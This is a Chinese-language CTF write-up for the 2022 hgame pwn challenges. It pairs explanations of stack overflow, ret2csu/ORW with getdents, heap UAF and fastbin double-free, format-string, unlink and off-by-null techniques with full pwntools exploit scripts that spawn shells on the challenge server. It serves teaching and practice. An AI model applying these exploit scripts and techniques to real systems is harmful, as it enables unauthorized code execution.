2022 hgame pwn wp
本来早就写好了,但是由于复试毕设等等原因拖到今天才发 包括了绝大部分题目,除了算法题spfa和bpwn,剩下一些简单题懒得写了orz
Week 1
enter_the_pwn_land
每次起一个线程,线程函数有栈溢出。利用第一次fork leak
再打onegadget就完了 注意循环变量在栈上,覆盖的时候记得保存
onegadget需要rop一下,pop两个0才能通
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
p = remote('chuj.top', 36221)
se = lambda data :p.send(data)
sa = lambda delim,data :p.sendafter(delim, data)
sl = lambda data :p.sendline(data)
sla = lambda delim,data :p.sendlineafter(delim, data)
sea = lambda delim,data :p.sendafter(delim, data)
rc = lambda numb=4096 :p.recv(numb)
rl = lambda :p.recvline()
ru = lambda delims :p.recvuntil(delims)
uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))
info = lambda tag, addr :p.info(tag + ': {:#x}'.format(addr))
pop=0x000000000040135c
sl('a'*32)
libc_addr=u64((ru('\x7f')[-6:]).ljust(8,'\x00'))
print(hex(libc_addr))
libc_addr += 14582
onegadget=libc_addr+0xe6c7e
payload1='a'*44+p32(0x2c)+'a'*8+p64(pop)+p64(0)*4+p64(onegadget)
payload2='a'*40+'b'*8+'a'*8+p64(pop)+p64(0)*4+p64(onegadget)
payload=payload.ljust(4000,'b')
sl(payload1)
p.interactive()
'''
0xe6c7e execve("/bin/sh", r15, r12)
constraints:
[r15] == NULL || r15 == NULL
[r12] == NULL || r12 == NULL
0xe6c81 execve("/bin/sh", r15, rdx)
constraints:
[r15] == NULL || r15 == NULL
[rdx] == NULL || rdx == NULL
0xe6c84 execve("/bin/sh", rsi, rdx)
constraints:
[rsi] == NULL || rsi == NULL
[rdx] == NULL || rdx == NULL
0xe6e73 execve("/bin/sh", r10, r12)
constraints:
address rbp-0x78 is writable
[r10] == NULL || r10 == NULL
[r12] == NULL || r12 == NULL
0xe6e76 execve("/bin/sh", r10, rdx)
constraints:
address rbp-0x78 is writable
[r10] == NULL || r10 == NULL
[rdx] == NULL || rdx == NULL
'''
enter_the_evil_pwn_land
跟第一题基本类似,加了canary检查。虽然有puts能带出来canary但会崩
做法是直接覆盖TLS结构体里面的canary 剩下一样。
payload为上文payload2。
oldfashion_orw
先放exp,感受一下这道诡异的题目。
from pwn import *
from LibcSearcher import *
context(os='linux', arch='amd64', log_level='debug')
p = remote('chuj.top', 42614)
e = ELF('/home/xyzmpv/桌面/orw/vuln')
libc=ELF('/home/xyzmpv/桌面/orw/libc-2.31.so')
write_got = e.got['write']
read_got = e.got['read']
main_addr = e.symbols['main']
bss_base = e.bss()
se = lambda data :p.send(data)
sa = lambda delim,data :p.sendafter(delim, data)
sl = lambda data :p.sendline(data)
sla = lambda delim,data :p.sendlineafter(delim, data)
sea = lambda delim,data :p.sendafter(delim, data)
rc = lambda numb=4096 :p.recv(numb)
rl = lambda :p.recvline()
ru = lambda delims :p.recvuntil(delims)
uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))
info = lambda tag, addr :p.info(tag + ': {:#x}'.format(addr))
def csu(rbx, rbp, r12, r13, r14, r15, last,remain=''):
csu_end_addr=0x40143a
csu_front_addr=0x401420
payload = 'a' * 0x30 + p64(0xdeadbeef)
payload += p64(csu_end_addr) + p64(rbx) + p64(rbp) + p64(r12) + p64(
r13) + p64(r14) + p64(r15)
payload += p64(csu_front_addr)
payload += 'a' * 0x38
payload += p64(last)
payload += remain
p.send(payload)
sleep(1)
ru('size?\n')
sl('-1')
ru('content?\n')
csu(0, 1, 1 , write_got, 20 , write_got, main_addr)
ru('done!\n')
write_addr=ru('\x7f')
write_addr=u64(write_addr.ljust(8,'\x00'))
libc_addr=write_addr-1118672
ru('size?\n')
sl('-1')
ru('content?\n')
csu(0, 1, 0 , 0x404090 , 0x360 , read_got , main_addr)
ru('done!\n')
syscall=libc_addr+0x0000000000066229
rax=libc_addr+0x000000000004a550
rdi=libc_addr+0x0000000000026b72
rsi=libc_addr+0x0000000000027529
rdx_r12=libc_addr+0x000000000011c371
rcx=libc_addr+0x000000000009f822
mov_rax=libc_addr+0x000000000005e7a2
opendir=libc_addr+libc.symbols['opendir']
readdir=libc_addr+libc.symbols['readdir']
payload='./'
payload=payload.ljust(0x20,'\x00')
payload+=p64(0)
payload+=p64(rdi)
payload+=p64(0x404090)
payload+=p64(rsi)
payload+=p64(0x10000)
payload+=p64(rax)
payload+=p64(2)
payload+=p64(rdx_r12)
payload+=p64(0)
payload+=p64(0)
payload+=p64(rcx)
payload+=p64(0)
payload+=p64(syscall)
payload+=p64(rdi)
payload+=p64(3)
payload+=p64(rsi)
payload+=p64(0x404390)
payload+=p64(rdx_r12)
payload+=p64(0x400)
payload+=p64(0)
payload+=p64(rax)
payload+=p64(78)
payload+=p64(syscall)
payload+=p64(rdi)
payload+=p64(1)
payload+=p64(rsi)
payload+=p64(0x404390)
payload+=p64(rdx_r12)
payload+=p64(0x100)
payload+=p64(0)
payload+=p64(rax)
payload+=p64(1)
payload+=p64(syscall)
payload+=p64(main_addr)
se(payload)
leave_ret=0x00000000004012c8
payload='a'*0x30+p64(0x4040b0)+p64(leave_ret)
ru('size?\n')
sl('-1')
ru('content?\n')
sl(payload)
ru('flag')
flag=rc(20)
flag='flag'+flag
print(flag)
ru('size?\n')
sl('-1')
ru('content?\n')
csu(0, 1, 0 , 0x404390 , 0x360 , read_got , main_addr)
ru('done!\n')
payload=flag.ljust(0x30,'\x00')
payload+=p64(0)
payload+=p64(rdi)
payload+=p64(0x404390)
payload+=p64(rsi)
payload+=p64(0)
payload+=p64(rax)
payload+=p64(2)
payload+=p64(syscall)
payload+=p64(rdi)
payload+=p64(4)
payload+=p64(rsi)
payload+=p64(0x404390)
payload+=p64(rdx_r12)
payload+=p64(0x80)
payload+=p64(0)
payload+=p64(rax)
payload+=p64(0)
payload+=p64(syscall)
payload+=p64(rdi)
payload+=p64(1)
payload+=p64(rsi)
payload+=p64(0x404390)
payload+=p64(rdx_r12)
payload+=p64(0x80)
payload+=p64(0)
payload+=p64(rax)
payload+=p64(1)
payload+=p64(syscall)
se(payload)
payload='a'*0x30+p64(0x4043c0)+p64(leave_ret)
ru('size?\n')
sl('-1')
ru('content?\n')
sl(payload)
p.interactive()
exp 187行,flag长度有84个字节 是我见过最长的 题目提示了是orw,检查了一下沙盒是这个样子的: 限制了架构,没办法换32位绕。限制了openat但是可以用open绕。
程序本身有漏洞,nbytes是size_t类型,但比较的时候却转换成了int 64
可以输入负数达到溢出条件 没有开canary,直接溢出。这里选择了用ret2csu来调用函数(因为可以控制所有寄存器防止出问题),不过这里也需要小小修改一下,因为汇编与ctfwiki的模板不完全一致
leak完了就得想办法orw。题目给了start.sh
#!/bin/bash
rm /home/ctf/flag*
cp /flag "/home/ctf/flag`head /dev/urandom |cksum |md5sum |cut -c 1-20`"
cd /home/ctf
exec 2>/dev/null
/usr/sbin/chroot --userspec=1000:1000 /home/ctf timeout 300 ./v
也就是把题目目录下的flag文件重命名了,后面加了20个随机化字符。 一开始尝试直接读/flag,不行,问了一下知道没有权限。就开始自闭了。
查了半天,想着用opendir和readdir函数,发现被ban了。readdir系统调用在x64下还不存在。自闭+2
破罐子破摔灵机一动把open的参数写成了目录,调试完发现是可以正常打开的。但是read报错。自闭+3
实在没有办法冒出来了一个鬼主意去看man 2 open,尝试通过改变open的参数来实现目录读写。结果还是不行。自闭+4 最后跑去看了一下man 2 readdir,这次没有自闭!!man手册引用了一个奇怪的系统调用:(顺便说一下,man 2 里面的是系统调用,man 3 里面的是系统函数,二者性质不同) getdents??? man 2 getdents看一下 大致看了一下,可以通过fd文件描述符将目录信息以结构体形式写入指定位置?bingo!
于是思路就清晰了:open完当前flag目录后通过getdents在指定位置写入目录信息,再
write出去,(这一段通过ret2csu布置ropchain与栈迁移实现,控制返回地址为main)获取到目录信息之后Orw就可以了。
几个注意事项:
1.文件描述符需要手动指定,打开目录是0x3,打开flag应该是0x4。
2.getdents的内容较多,不要写在ropchain存储的位置否则会覆盖掉未执行的ropchain
3.open当前目录只能用’./’,·不能用绝对路径,怀疑是chroot或者脚本执行目录的问题
4.用ropper去查libc里面的gadget否则非常慢
这都是什么鬼东西啊啊啊啊啊啊啊啊你不要过来啊
Week 2
oldfashion_note
太好玩了2333
堆入门级别题目 libc是2.31,也就是有tcache有key。不能直接double free
题目给了add、show、delete三个函数,delete完没有置0,可以UAF。
add大小最大256==0x100,过了fastbin上限,此外也没有设定循环变量,可以无限加note,只要index在0-16即可。
做法是用unsorted bins leak再用df+fake fastbin chunk 攻击malloc_hook,打onegadget
先申请8个0x100堆块填满tcache,再申请一个0x60(防止free的unsorted bin被top chunk合并)
free前8个,第8个放入unsorted bins,show(7)拿到libc地址。
接下来再申请8个0x60的chunk,挨个free完再free(8),也就是一开始申请的0x60 chunk
这样子最后两个(chunk[7] chunk[8])就会进入fastbin。
再free chunk[7]就完成了df(chunk [8]最后释放,在头结点处过不了检查)
接下来就是典型的fastbin attack,不过要注意先得申请7个0x60的chunk 耗尽之前free的tcache chunk,再申请就是fastbin了
剩下的攻击流程参见malloc hook attack以及realloc调整栈帧
需要特别注意的是攻击完后,再触发malloc时size必须为0,否则即使经过realloc调整也无法满足任一onegadget的条件。(这里实际上是控制了栈变量以满足onegadget的条件)realloc的合理偏移可以通过本地爆破得到。
打本地和远程也需要注意添加sleep,否则交互太快易传递错误参数。
exp如下:
from pwn import *
import time
context(os='linux', arch='amd64', log_level='debug')
p = remote('chuj.top',51337)
libc = ELF('./libc-2.31.so')
se = lambda data :p.send(data)
sa = lambda delim,data :p.sendafter(delim, data)
sl = lambda data :p.sendline(data)
sla = lambda delim,data :p.sendlineafter(delim, data)
sea = lambda delim,data :p.sendafter(delim, data)
rc = lambda numb=4096 :p.recv(numb)
rl = lambda :p.recvline()
ru = lambda delims :p.recvuntil(delims)
uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))
info = lambda tag, addr :p.info(tag + ': {:#x}'.format(addr))
def new(index,size,content):
p.recvuntil('>> ')
p.sendline('1')
p.recvuntil('index?')
p.sendline(str(index))
p.recvuntil('size?')
p.sendline(str(size))
p.recvuntil('content?')
p.send(content)
def delete(i):
p.recvuntil('>> ')
p.sendline('3')
p.recvuntil('index?')
p.sendline(str(i))
def show(i):
p.recvuntil('>> ')
p.sendline('2')
p.recvuntil('index?')
p.sendline(str(i))
def getsha256(s):
sha256=hashlib.sha256()
sha256.update(str(s).encode('utf-8'))
ans=sha256.hexdigest()
return ans
def hashburp(s):
sha_ans=s
ss = string.ascii_letters
flag = False
for i in ss:
if (flag):
break
for j in ss:
if (flag):
break
for k in ss:
if (flag):
break
for l in ss:
xxxx = i + j + k + l
if (sha_ans == getsha256(xxxx)):
print(xxxx)
return xxxx
ru('sha256(????) == ')
sha256=rc(64)
sha_str=hashburp(sha256)
sa('input your ????> ',sha_str)
for i in range(8):
new(i,0x100,'abcd')
time.sleep(0.2)
new(8,0x60,'aaaa')
for i in range(8):
delete(i)
time.sleep(0.2)
show(7)
ru('>> ')
libc_addr=u64(ru('\x7f').ljust(8,'\x00'))-2014176
print(hex(libc_addr))
malloc_hook=libc_addr+2014064
realloc = libc_addr + libc.sym['realloc']
onegadget=libc_addr+0xe6c84
for i in range(8):
new(i,0x60,'aaaa')
time.sleep(0.2)
for i in range(8):
delete(i)
time.sleep(0.2)
delete(8)
time.sleep(0.2)
delete(7)
time.sleep(0.2)
for i in range(7):
new(10,0x60,'aaaa')
time.sleep(0.2)
new(0,0x60,p64(malloc_hook-0x23))
time.sleep(0.2)
new(0,0x60,'deadbeef')
time.sleep(0.2)
new(0,0x60,'deadbeef')
time.sleep(0.2)
new(0,0x60,'a'*27+p64(libc_addr+0xe6c81)+p64(realloc+10))
time.sleep(0.2)
p.recvuntil('>> ')
p.sendline('1')
p.recvuntil('index?')
p.sendline(str(0))
p.recvuntil('size?')
p.sendline(str(0))
p.interactive()
'''
0xe6c7e execve("/bin/sh", r15, r12)
constraints:
[r15] == NULL || r15 == NULL
[r12] == NULL || r12 == NULL
0xe6c81 execve("/bin/sh", r15, rdx)
constraints:
[r15] == NULL || r15 == NULL
[rdx] == NULL || rdx == NULL
0xe6c84 execve("/bin/sh", rsi, rdx)
constraints:
[rsi] == NULL || rsi == NULL
[rdx] == NULL || rdx == NULL
0xe6e73 execve("/bin/sh", r10, r12)
constraints:
address rbp-0x78 is writable
[r10] == NULL || r10 == NULL
[r12] == NULL || r12 == NULL
0xe6e76 execve("/bin/sh", r10, rdx)
constraints:
address rbp-0x78 is writable
[r10] == NULL || r10 == NULL
[rdx] == NULL || rdx == NULL
'''
echo
更好玩了
格式化字符串题,但是比较麻烦因为格式化字符串在堆上
主要内容就是这么个vuln函数,输入长度,realloc,如果长度不为0就写入,循环开头进行输出
注意ptr是printf的第一个参数,且内容可控,所以可以打格式化字符串。 麻烦的点是这是64位程序,而且格式化字符串在堆上,所以我们无法直接利用%n进行任意地址写。这种情况下只能去看printf时的栈和寄存器。图大概是这样的。
寄存器 栈 特别注意一下我画线的三个地址。不妨设其内容为p1、p2、p3。
一开始,p1->&p2->(&p3)-8,而p3指向libc内
于是,我们就可以通过p1改写p2,令p2->&p3,再用p2改写p3,从而获得指向libc内任意位置的指针。(具体实现参加%n格式化字符串)
把这个指针指向__free_hook,再写入onegadget,再一次realloc时使长度为0,此时realloc会调用free,触发onegadget拿到shell。
这一题难点在通过格式化字符串控制多维指针数组,进行指针移动。
exp:
from pwn import *
import time
context(os='linux', arch='amd64', log_level='debug')
p = remote('chuj.top',52004)
se = lambda data :p.send(data)
sa = lambda delim,data :p.sendafter(delim, data)
sl = lambda data :p.sendline(data)
sla = lambda delim,data :p.sendlineafter(delim, data)
sea = lambda delim,data :p.sendafter(delim, data)
rc = lambda numb=4096 :p.recv(numb)
rl = lambda :p.recvline()
ru = lambda delims :p.recvuntil(delims)
uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))
info = lambda tag, addr :p.info(tag + ': {:#x}'.format(addr))
def leak():
sla('>> ','20')
se('%5$p%6$p')
libc_base=ru('y')[:-1]
stack_base=libc_base[-14:]
libc_base=libc_base[:14]
print(libc_base)
print(stack_base)
libc_base=int(libc_base,16)-30024
return libc_base,stack_base
def exp(s):
sla('>> ','20')
sl(s)
time.sleep(0.5)
def getsha256(s):
sha256=hashlib.sha256()
sha256.update(str(s).encode('utf-8'))
ans=sha256.hexdigest()
return ans
def hashburp(s):
sha_ans=s
ss = string.ascii_letters
flag = False
for i in ss:
if (flag):
break
for j in ss:
if (flag):
break
for k in ss:
if (flag):
break
for l in ss:
xxxx = i + j + k + l
if (sha_ans == getsha256(xxxx)):
print(xxxx)
return xxxx
ru('sha256(????) == ')
sha256=rc(64)
sha_str=hashburp(sha256)
sa('input your ????> ',sha_str)
libc_base,stack_base=leak()
print(hex(libc_base))
print(stack_base)
free_hook=libc_base+2026280
onegadget=libc_base+0xe6c7e
exp('%{}c%6$hhn'.format(int(stack_base[-2:],16)+24))
exp('%{}c%10$hn'.format(u32(p64(free_hook)[:2].ljust(4,'\x00'))))
exp('%{}c%6$hhn'.format(int(stack_base[-2:],16)+26))
exp('%{}c%10$hhn'.format(u32(p64(free_hook)[2:3].ljust(4,'\x00'))))
exp('%{}c%13$hn'.format(u32(p64(onegadget)[:2].ljust(4,'\x00'))))
exp('%{}c%6$hhn'.format(int(stack_base[-2:],16)+24))
exp('%{}c%10$hn'.format(u32(p64(free_hook)[:2].ljust(4,'\x00'))+2))
exp('%{}c%13$hn'.format(u32(p64(onegadget)[2:4].ljust(4,'\x00'))))
exp('%{}c%10$hn'.format(u32(p64(free_hook)[:2].ljust(4,'\x00'))+4))
exp('%{}c%13$hn'.format(u32(p64(onegadget)[4:6].ljust(4,'\x00'))))
p.interactive()
'''
0xe6c7e execve("/bin/sh", r15, r12)
constraints:
[r15] == NULL || r15 == NULL
[r12] == NULL || r12 == NULL
0xe6c81 execve("/bin/sh", r15, rdx)
constraints:
[r15] == NULL || r15 == NULL
[rdx] == NULL || rdx == NULL
0xe6c84 execve("/bin/sh", rsi, rdx)
constraints:
[rsi] == NULL || rsi == NULL
[rdx] == NULL || rdx == NULL
'''
Week 3
changeable_note
libc2.23 没有开PIE有堆溢出 没有show
思路是直接打unlink,拿到指针之后去hijack got,改free为puts。leak完再恢复got,改写free_hook
至于什么时候写完,看时间了。
就是这个思路 写完了(大佬们1h调出来确实快啊,我太懒了www)
这里用了一个小技巧:hijack got可以把got改成未解析时其他函数的值,这样就可以无伤替换函数了。还有,在构造unlink时取下的chunk被认为是free chunk,指针与allocate chunk不同,需要额外构造一下fake chunk。
exp如下:
from pwn import *
import string
import hashlib
context(os='linux', arch='amd64', log_level='debug')
p = remote('chuj.top',52487)
e = ELF('/media/sf_Desktop/changeable_note/note')
se = lambda data :p.send(data)
sa = lambda delim,data :p.sendafter(delim, data)
sl = lambda data :p.sendline(data)
sla = lambda delim,data :p.sendlineafter(delim, data)
sea = lambda delim,data :p.sendafter(delim, data)
rc = lambda numb=4096 :p.recv(numb)
rl = lambda :p.recvline()
ru = lambda delims :p.recvuntil(delims)
uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))
info = lambda tag, addr :p.info(tag + ': {:#x}'.format(addr))
def new(i,j,k):
p.recvuntil('>>')
p.send('1')
p.recvuntil('index?')
p.sendline(str(i))
p.recvuntil('size?')
p.sendline(str(j))
p.recvuntil('content?')
p.send(k)
def delete(i):
p.recvuntil('>>')
p.send('3')
p.recvuntil('index?')
p.sendline(str(i))
def edit(i,c):
p.recvuntil('>>')
p.send('2')
p.recvuntil('index?')
p.sendline(str(i))
p.sendline(c)
def getsha256(s):
sha256=hashlib.sha256()
sha256.update(str(s).encode('utf-8'))
ans=sha256.hexdigest()
return ans
def hashburp(s):
sha_ans=s
ss = string.ascii_letters
flag = False
for i in ss:
if (flag):
break
for j in ss:
if (flag):
break
for k in ss:
if (flag):
break
for l in ss:
xxxx = i + j + k + l
if (sha_ans == getsha256(xxxx)):
print(xxxx)
return xxxx
def check():
ru('sha256(????) == ')
sha256=rc(64)
sha_str=hashburp(sha256)
sa('input your ????> ',sha_str)
check()
new(0,256,'aaaa')
new(1,256,'bbbb')
new(2,16,'cccc')
edit(0,flat([0,0x100,0x4040c0-0x18,0x4040c0-0x10,'a'*0xe0,0x100,0x110]))
delete(1)
edit(0,'a'*0x18+p64(0x404018)+p64(0x404020))
edit(0,'\x40\x10\x40\x00\x00')
delete(1)
libc_addr=u64(ru('\x7f')[4:].ljust(8,'\x00'))-456352
one=libc_addr+0xf1247
edit(0,flat(0x401030,0x401040,0x401050,0x401060,0x401070,0x401080,0x401090,0x4010a0,0x4010b0,p64(one)[:-2]))
p.interactive()
'''
0x45226 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL
0x4527a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL
0xf03a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL
0xf1247 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
'''
elder_note
板子题,uaf leak+fastbin df直接拿shell,懒得写了
sized_note
libc2.27,off by null 开了PIE full relo,考虑chunk overlap
程序本身加了花,直接读汇编就行了,不影响。
unsorted bin超量前向合并,overlap完了再控制申请的size使unsorted bin头落在可输出范围,leak完了改tcache hijack hook完事
一个小技巧是先搞出free unsorted chunk,再通过改写fd size,利用free chunk的完好指针完成unlink,从而实现free完成后的超量合并
exp写完了,在调onegadget 过了
还是板子题
exp如下:
from pwn import *
import time
context(os='linux', arch='amd64', log_level='debug')
p = remote('chuj.top', 52851)
e = ELF('/lib/x86_64-linux-gnu/libc.so.6')
se = lambda data :p.send(data)
sa = lambda delim,data :p.sendafter(delim, data)
sl = lambda data :p.sendline(data)
sla = lambda delim,data :p.sendlineafter(delim, data)
sea = lambda delim,data :p.sendafter(delim, data)
rc = lambda numb=4096 :p.recv(numb)
rl = lambda :p.recvline()
ru = lambda delims :p.recvuntil(delims)
uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))
info = lambda tag, addr :p.info(tag + ': {:#x}'.format(addr))
def new(i,j,k=''):
p.recvuntil('>>')
p.send('1')
p.recvuntil('index?')
p.sendline(str(i))
p.recvuntil('size?')
p.sendline(str(j))
p.recvuntil('content?')
p.send(k)
def delete(i):
p.recvuntil('>>')
p.send('3')
p.recvuntil('index?')
p.sendline(str(i))
def show(i):
p.recvuntil('>>')
p.sendline('2')
p.recvuntil('index?')
p.sendline(str(i))
def edit(i,c):
p.recvuntil('>>')
p.send('4')
p.recvuntil('index?')
p.sendline(str(i))
p.sendline(c)
def getsha256(s):
sha256=hashlib.sha256()
sha256.update(str(s).encode('utf-8'))
ans=sha256.hexdigest()
return ans
def hashburp(s):
sha_ans=s
ss = string.ascii_letters
flag = False
for i in ss:
if (flag):
break
for j in ss:
if (flag):
break
for k in ss:
if (flag):
break
for l in ss:
xxxx = i + j + k + l
if (sha_ans == getsha256(xxxx)):
print(xxxx)
return xxxx
def check():
ru('sha256(????) == ')
sha256=rc(64)
sha_str=hashburp(sha256)
sa('input your ????> ',sha_str)
check()
for i in range(7):
new(i,248,'aaaa')
time.sleep(0.2)
new(7,16,'cccc')
time.sleep(0.2)
new(8,248,'dddd')
time.sleep(0.2)
new(13,16,'iiii')
time.sleep(0.2)
new(14,16,'jjjj')
time.sleep(0.2)
new(9,248,'eeee')
time.sleep(0.2)
new(10,248,'ffff')
time.sleep(0.2)
new(11,16,'gggg')
for i in range(7):
delete(i)
time.sleep(0.2)
delete(8)
edit(9,'a'*240+p64(0x240))
delete(10)
for i in range(7):
new(i,248,'aaaa')
time.sleep(0.2)
new(12,248,'hhhh')
show(13)
ru('>> ')
libc_addr=u64(ru('\x7f').ljust(8,'\x00'))-4111520
info('libc',libc_addr)
realloc_hook=libc_addr+4111400
onegadget=libc_addr+0x4f432
realloc=libc_addr+e.symbols['__libc_realloc']
delete(14)
new(14,48,'a'*24+p64(0x21)+p64(realloc_hook)[:-2])
new(14,16,'onegadget')
new(14,16,p64(onegadget)+p64(realloc+8))
p.recvuntil('>>')
p.send('1')
p.recvuntil('index?')
p.sendline('1')
p.recvuntil('size?')
p.sendline('1')
p.sendline(' ')
p.interactive()
'''
0x4f3d5 execve("/bin/sh", rsp+0x40, environ)
constraints:
rsp & 0xf == 0
rcx == NULL
0x4f432 execve("/bin/sh", rsp+0x40, environ)
constraints:
[rsp+0x40] == NULL
0x10a41c execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
'''
Week 4
vector
w4了,完结撒花
这是个re+pwn的题目 难点在于原题是用C++写的,还大量使用了vector标签,所以看起来很恶心(当然你不需要都看,看不懂手调就完了)
传统菜单题格式,给了add、edit、show、delete几个常规选项,其中edit是废的。另外还给了一个奇怪的move操作,这也是漏洞的主要来源。
C++编译导致逆向较为困难,可以仅逆向那些容易逆向的函数,大概有3-5个,主要是移动指针、取指针指向的内容、指针自增等等操作。
delete和show函数本身较为传统,在此不进行分析。
add函数本身会在一开始要求提供index,再根据index对堆块和note数组进行操作。
以下部分为调试得到的结果,因为逆向过程比直接调试麻烦的多
程序堆块结构可以分为一个管理块(manage chunk)和剩下的用户申请的堆块。
管理块会根据你给出的index确定自身大小与用户块地址存放的位置。add中输入的index就是用户块地址在管理块内的偏移(单位为字长,8字节),管理块会根据index确定自身大小,确保存放的地址不会越界。管理块大小随最大的index大小按0x20 0x30 0x50 0x70 0x90 0xd0顺序递增,但是只会扩大不会缩小,扩大是通过释放原管理块、申请合适大小的新管理块、迁移内容到新管理块完成的。程序会在elf bss段的note处存放三个字节,第一个字(8字节)为管理块的地址,第二个字为加密后的目前最大index(加密方式为管理块地址左移3位,再加上index+1)。第三个字与第二个相同。
add时,通过index的输入就可以控制管理块的大小,若当前管理块大小不满足index,则当前管理块会被释放,继续malloc合适大小的堆块做管理块。
因此第一个想法是通过堆块混杂将管理块分配到原unsorted bins块处,通过残留的libc地址进行leak与攻击。但测试后发现分配完后堆块内容置0,不可行。
思路转到奇怪的move函数 move函数的功能通过逆向与调试,大致如下:
遍历管理块内存放的堆指针,让你确认是否要迁移。如果确认迁移,则要求输入index,在现有管理块下该index所对应的堆内存处必须为空,否则不进行迁移。
若进行迁移,则先检查index是否越界,若越界则如上所述扩展管理块,将当前管理块的index位写入进行迁移的堆块的地址,再将原管理块中的堆块地址置0。
这里就有漏洞了:如果index越界,则管理块会进行扩展,内容会同步到新管理块,但置0的只有旧管理块内的堆地址。
这会导致新管理块内出现两个指向同一位置的堆地址。
于是利用方法明确:使用上述漏洞,先扩展一次,再通过free,使存留的地址指向unsorted bins,通过show leak出libc地址,再故技重施,通过双地址进行fastbin double free,伪造0x7f堆块打malloc hook 来get shell
关于libc 2.31的0x7f劫持有一点点不一样 详见我这篇blog
这里也放上我的idb,方便后来人
vector.i64
exp如下:
from pwn import *
import time
context(os='linux', arch='amd64', log_level='debug')
p = process('/media/sf_Desktop/to_give_out/vector')
gdb.attach(p)
se = lambda data :p.send(data)
sa = lambda delim,data :p.sendafter(delim, data)
sl = lambda data :p.sendline(data)
sla = lambda delim,data :p.sendlineafter(delim, data)
sea = lambda delim,data :p.sendafter(delim, data)
rc = lambda numb=4096 :p.recv(numb)
rl = lambda :p.recvline()
ru = lambda delims :p.recvuntil(delims)
uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))
info = lambda tag, addr :p.info(tag + ': {:#x}'.format(addr))
def move(i,j):
p.recvuntil('>> ')
p.sendline('5')
for i in range(i):
p.recvuntil('is this one your want to move? [1/0]')
p.sendline(str(0))
time.sleep(0.2)
p.recvuntil('is this one your want to move? [1/0]')
p.sendline(str(1))
p.recvuntil('which index you want move to?')
p.sendline(str(j))
def delete(i):
p.recvuntil('>> ')
p.sendline('4')
p.recvuntil('index?')
p.sendline(str(i))
def show(i):
p.recvuntil('>> ')
p.sendline('3')
p.recvuntil('index?')
p.sendline(str(i))
def new(i,b,c):
p.recvuntil('>> ')
p.sendline('1')
p.recvuntil('index?')
p.sendline(str(i))
p.recvuntil('size?')
p.sendline(str(b))
p.recvuntil('content?')
p.send(c)
def getsha256(s):
sha256=hashlib.sha256()
sha256.update(str(s).encode('utf-8'))
ans=sha256.hexdigest()
return ans
def hashburp(s):
sha_ans=s
ss = string.ascii_letters
flag = False
for i in ss:
if (flag):
break
for j in ss:
if (flag):
break
for k in ss:
if (flag):
break
for l in ss:
xxxx = i + j + k + l
if (sha_ans == getsha256(xxxx)):
print(xxxx)
return xxxx
def check():
ru('sha256(????) == ')
sha256=rc(64)
sha_str=hashburp(sha256)
sa('input your ????> ',sha_str)
for i in range(8):
new(i,256,'aaaa')
time.sleep(0.2)
move(7,11)
for i in range(8):
delete(i)
time.sleep(0.2)
show(11)
libc_addr=u64(ru('\x7f')[-6:].ljust(8,'\x00'))-0x1ebbe0
print(hex(libc_addr))
reallochook=libc_addr+2014056
p1=libc_addr+644464
p2=libc_addr+646128
onegadget=libc_addr+0xe6c7e
for i in range(9):
new(i,96,'aaaa')
time.sleep(0.2)
move(8,18)
for i in range(7):
delete(i)
time.sleep(0.2)
delete(8)
time.sleep(0.2)
delete(7)
time.sleep(0.2)
delete(18)
time.sleep(0.2)
for i in range(7):
new(i,96,'aaaa')
time.sleep(0.2)
new(7,96,p64(reallochook-0x2b))
time.sleep(0.2)
new(8,96,'hack')
time.sleep(0.2)
new(9,96,'hack')
time.sleep(0.2)
new(10,96,'a'*0x23+p64(p1)+p64(p2)+p64(onegadget))
time.sleep(0.2)
p.interactive()
'''
0xe6c7e execve("/bin/sh", r15, r12)
constraints:
[r15] == NULL || r15 == NULL
[r12] == NULL || r12 == NULL
0xe6c81 execve("/bin/sh", r15, rdx)
constraints:
[r15] == NULL || r15 == NULL
[rdx] == NULL || rdx == NULL
0xe6c84 execve("/bin/sh", rsi, rdx)
constraints:
[rsi] == NULL || rsi == NULL
[rdx] == NULL || rdx == NULL
'''
|